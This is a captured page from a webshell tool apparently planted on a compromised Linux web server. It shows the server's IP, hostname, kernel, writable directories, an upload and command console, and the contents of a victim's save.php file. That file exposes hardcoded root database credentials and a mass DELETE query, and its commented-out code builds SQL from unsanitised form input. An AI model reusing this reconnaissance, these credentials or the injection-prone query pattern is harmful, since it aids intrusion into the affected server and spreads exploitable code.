403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/stockcom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/stockcom/save.php
<?php
session_start();

$serverName = "localhost"; //serverName\instanceName
					$connectionInfo = array( "Database"=>"stockcom", "UID"=>"root",
										 "PWD"=>"123456", "CharacterSet" => "UTF-8");
					$conn = sqlsrv_connect( $serverName, $connectionInfo);
	/*$query2 = "SELECT * FROM dbo.DimGood where  ItemID='110' or ItemID='150' ";
		echo $query2.'<br>';
	$result2 = sqlsrv_query($conn, $query2);
		echo $result2.'<br>';
		while($row2=sqlsrv_fetch_array($result2,SQLSRV_FETCH_ASSOC)){
		$_SESSION['g1']=$row2['GoodID'];
	 	$_SESSION['g2']=$row2['Good'];
		$_SESSION['g3']=$row2['spec'];
		$_SESSION['g4']=$row2['bUnit'];
		$_SESSION['g5']=$row2['ItemID'];
		$_SESSION['g6']=$row2['MinStock'];
		
	echo $_SESSION['g1'].'<br>';
	echo $_SESSION['g2'].'<br>';
	echo $_SESSION['g3'].'<br>';
	echo $_SESSION['g4'].'<br>';
	echo $_SESSION['g5'].'<br>';
	echo $_SESSION['g6'].'<br>';
		
	}*/

$sql = " DELETE  FROM  DimGood WHERE ItemID <>'110' ";
echo $sql.'<br>';
	
$result = sqlsrv_query($conn,$sql);
echo $result;
if($result === false ){
					echo "<script language=\"JavaScript\">alert('ไม่สามารถแก้ไข')</script>";	 
				}else{
			
				sqlsrv_free_stmt($result);
					echo "<script language=\"JavaScript\">alert('บันทึกเพิ่มข้อมูลเรียบร้อย')</script>";	
				}

	/*if($_POST['status']=='selected')
	{
			echo "<script language=\"JavaScript\">alert('กรุณาเลือกสถานะ');
			window.location='javascript:history.back()';</script>";
	}else{

	
    $serverName = "localhost"; //serverName\instanceName
	$connectionInfo = array( "Database"=>"APsystemBX65", "UID"=>"root", "PWD"=>"123456",
	"CharacterSet" => "UTF-8");
	$conn = sqlsrv_connect( $serverName, $connectionInfo);
	// echo 'oo'.$conn.'<br>';
	if( $conn ) {
	        
				//Update Serial no
							
			$sql="INSERT INTO dbo.FactCheckDoc(PRID,WHDocNote,UserName,WHDocDate)
						VALUES ('".$docid."','".$_POST['status']."','".$_POST['user']."','".$_POST['date']."')";
						echo $sql.'<br>';
						$result = sqlsrv_query($conn,$sql);
						echo 'oo'.$result.'<br>';
						
			$sql1 = "update dbo.FactProductIN set WHDocDate='".$_POST["date"]."',WHDocNote='".$_POST["status"]."'
						 where PRID='$docid'" ;
				echo $sql1.'<br>';		
				
				$result1 = sqlsrv_query($conn,$sql1);
				echo 'oo'.$result1.'<br>';
				if($result0 === false ){
					echo "<script language=\"JavaScript\">alert('ไม่สามารถแก้ไข');
					window.location='javascript:history.back()';</script>";	 
				}else{
			
				sqlsrv_free_stmt($result0);
					echo "<script language=\"JavaScript\">alert('บันทึกเพิ่มข้อมูลเรียบร้อย');
					window.location='check.php?&Docid=".$s2."';</script>";	
				}
	}

	}*/			
		
?>

Youez - 2016 - github.com/yon3zu
LinuXploit